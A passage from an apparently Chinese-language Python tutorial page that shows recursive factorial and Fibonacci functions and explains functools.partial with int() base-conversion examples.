    return (2 if n==2 else n*recursive_factorial(n-1))

print(recursive_factorial(7))

def feibo(n):  # 使用递归实现菲波那切数列
    if n==0 or n==1:return n
    else:return feibo(n-1)+feibo(n-2)
print(feibo(8))

def feibo2(n):  # 使用循环实现菲波那切数列
    before,after=0,1
    for i in range(n):
        before,after=after,before+after
    return before
print(feibo2(300))

12. 偏函数

Python 的 functools 模块提供了很多有用的功能,其中一个就是偏函数(Partial function)。要注意,这里的偏函数和数学意义上的偏函数不一样。

在介绍函数参数的时候,我们讲到,通过设定参数的默认值,可以降低函数调用的难度。而偏函数也可以做到这一点。

举例如下:

int()函数可以把字符串转换为整数,当仅传入字符串时,int()函数默认按十进制转换:
>>> int('12345')
12345

但int()函数还提供额外的base参数,默认值为10。如果传入base参数,就可以做N进制的转换:
>>> int('12345', base=8)
5349
>>> int('12345', 16)
74565

假设要转换大量的二进制字符串,每次都传入int(x, base=2)非常麻烦,
于是,我们想到,可以定义一个int2()的函数,默认把base=2传进去:
def int2(x, base=2):
    return int(x, base)

这样,我们转换二进制就非常方便了:
>>> int2('1000000')
64
>>> int2('1010101')
85

functools.partial 就是帮助我们创建一个偏函数的,不需要我们自己定义int2(),
可以直接使用下面的代码创建一个新的函数int2:
>>> import functools
>>> int2 = functools.partial(int, base=2)
>>> int2('1000000')
64
>>> int2('1010101')
85

所以,简单总结 functools.partial 的作用就是:把一个函数的某些参数给固定住(也就是设置默认值),返回一个新的函数,调用这个新函数会更简单。

小结:当函数的参数个数太多,需要简化时,使用functools.partial可以创建一个新的函数,这个新函数可以固定住原函数的部分参数,从而在调用时更简单。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值